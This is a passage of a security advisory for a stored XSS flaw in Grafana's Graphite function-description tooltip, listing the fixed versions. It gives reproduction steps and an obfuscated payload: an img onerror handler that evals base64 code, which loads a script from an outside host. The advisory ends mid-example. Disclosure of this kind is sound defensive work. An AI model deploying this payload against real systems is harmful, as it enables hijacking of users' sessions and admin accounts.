Affected: Bitnami: grafana

Grafana is an open-source platform for monitoring and observability.

Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip.

The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized.

An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description.

Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.

### Details

1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`. 2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` 3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>`

The result would look like this:

```python def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """…
